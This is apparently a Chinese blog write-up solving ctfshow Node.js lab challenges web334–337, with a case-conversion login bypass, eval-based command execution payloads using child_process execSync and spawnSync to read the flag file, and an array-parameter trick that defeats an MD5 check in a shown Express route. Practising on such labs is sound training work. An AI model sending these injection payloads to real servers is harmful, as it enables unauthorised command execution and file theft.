ctfshow web入门 nodejs web334--web337

web334

有个文件下载之后改后缀为zip加压就可以得到两个文件

一个文件类似于index.php 还有一个就是登录密码登录成功就有flag

php 复制代码
username:ctfshow
password:123456

因为

php 复制代码
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
这个toUpperCase()可以转大写

web335

查看源代码看到了eval可以进行rce只不过和PHP不同的是函数

php 复制代码
?eval=require('child_process').execSync('cat f*')
使用这个child_process类里面的execSync方法

web336

spawnSync()会同步创建一个子进程执行我们传入的命令,并且返回一个对象.

php 复制代码
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
不知道为啥这道题就一定要stdout.toString(),这个的作用是标准的输出并且转化为字符串

web337

php 复制代码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;         //GET请求
  var b = req.query.b;        //GET请求
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});   //渲染模板,回显tql在index
  }
  
});

module.exports = router;
php 复制代码
数组绕过
?a[]=1&b[]=1
相关推荐
博闻善行1 天前
CTF之web篇(入门篇)
web安全·网络安全
w3296362711 天前
飞书接单到月度结算:我用一个 DSH 插件跑通鞋类采购 WMS,附 22 项验收
pdf·node.js·飞书·后端开发·ai agent
云水一下1 天前
XSS-Labs 靶场通关全记录(上):XSS 的前世今生与基础反射型实战(Level 1–10)
web安全·xss·xss-labs
濮水大叔2 天前
Cabloy/Vona 为什么不需要 NestJS 的 Dynamic Module
typescript·node.js·nestjs
匠云创新2 天前
读完一万段要两分钟:我们把标书读取从 WPS 对象模型搬到了 docx 解析
性能优化·node.js
某哈压力大2 天前
SSH 突然 Connection reset?不是密钥坏了,是 OpenSSL 把 sshd 干趴了
前端·node.js·命令行
回眸&啤酒鸭2 天前
【回眸】Node.js 新手从零到一实战指南
node.js
浪遏2 天前
recruitment-cli:让 AI 接手求职招聘,从架构到一次发送超时
架构·typescript·node.js
沉默小管4 天前
我用 NestJS + Nuxt 3 做了个导航站,聊几个踩过的坑
node.js·seo
非优秀程序员4 天前
第02章 杭电的英语老师与一台服务器|《互联网产品恩仇录》
数据库·node.js·代码规范